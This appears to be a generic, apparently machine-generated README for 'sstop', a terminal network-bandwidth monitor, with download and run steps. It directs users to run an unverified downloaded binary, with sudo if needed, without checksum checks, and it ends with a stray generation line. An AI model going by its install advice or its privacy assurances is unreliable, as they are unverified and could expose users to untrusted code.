sstop is a simple tool that shows the network bandwidth used by each program running on your computer. It works right in the terminal (the text area where you type commands). This helps you see which programs use your internet the most, in real time.
It runs on MacOS and Linux. sstop is designed for users who want to watch network use without complicated setup. It gives a clear and updated list of programs and their data use.
- View real-time bandwidth usage for every process.
- Works directly in your terminal window.
- Supports both MacOS and Linux.
- Easy to read, simple interface.
- Uses minimal system resources.
- Helps troubleshoot slow internet or unexpected data use.
- No need to open multiple apps or windows.
Before you download sstop, make sure your computer meets these needs:
- Operating System: MacOS (10.15 or newer) or Linux (any common distribution).
- Terminal application installed (usually built-in).
- At least 50 MB free disk space.
- Internet connection for initial download.
- User permissions to run terminal commands.
This guide helps you get sstop up and running in a few minutes, with no special experience needed.
To get sstop, visit this page to download the latest version:
https://github.com/Spellinfo/sstop/releases
- On the release page, look for the file that matches your computer system (MacOS or Linux).
- Click the download link.
- Save the file to your Downloads folder or any folder you prefer.
- Open your terminal application.
- Use the
cdcommand to move to the folder where you saved the file. For example:cd ~/Downloads - Make the file executable by typing:
chmod +x sstop - Run sstop by typing:
./sstop - You should see a list of running programs and their network bandwidth use appear in your terminal.
Once running, sstop updates the network data every second. Here is what you will see and can do:
- Processes: The names of running programs using the network.
- Upload Speed: How fast data is sent.
- Download Speed: How fast data is received.
- Total Usage: Cumulative network use since opening sstop.
- Press
qto quit sstop any time. - Use arrow keys to scroll if the list is long.
- Press
rto refresh data manually. - For detailed help, type
./sstop --help.
- Find out which apps cause slow internet.
- Watch bandwidth during file downloads.
- Detect background programs using data without your knowledge.
- Monitor network use during video calls or online games.
If sstop does not run as expected:
- Check that you have enough permissions. You might need to run:
sudo ./sstop - Verify your terminal is updated to support your operating system.
- Ensure you downloaded the correct version for your system.
- Restart your terminal and try again.
- Visit the release page for updated versions or more information.
sstop only reads data about network use on your own computer. It does not collect or send any personal data. You keep full control of your information.
Thank you for choosing sstop to keep an eye on your network. Use the prompt above and link to download when ready.